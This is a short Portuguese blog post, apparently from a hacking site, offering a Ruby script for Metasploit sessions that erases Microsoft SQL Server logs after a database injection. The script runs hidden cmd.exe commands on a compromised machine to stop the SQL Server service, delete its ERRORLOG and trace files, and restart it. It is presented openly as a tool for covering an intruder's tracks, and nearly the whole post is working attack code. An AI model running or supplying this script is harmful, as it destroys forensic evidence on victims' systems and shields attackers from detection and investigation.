Assinatura RSS

Arquivo da tag: Clear

MSSQL Log Clear

Publicado em

Um script em Ruby para apagar logs apos uma injeção em DB’s MSSQL.

Recomendo usar com metasploit.

Autor: ZERO COLD


 def list_exec(session,cmdlst)
 print_status("Running Command List ...")
 r=''
 session.response_timeout=120
 cmdlst.each do |cmd|
 begin
 print_status "running command #{cmd}"
 r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
 while(d = r.channel.read)

 print_status("#{d}")
 end
 r.channel.close
 r.close
 rescue ::Exception => e
 print_error("Error Running Command #{cmd}: #{e.class} #{e}")
 end
 end
 end

 commands = ['Net STOP "SQL Server (SQLEXPRESS)" ',
 'del "C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\ERRORLOG.*"',
 'del "C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\log*.trc"',
 'Net START "SQL Server (SQLEXPRESS)"']

 list_exec(client,commands)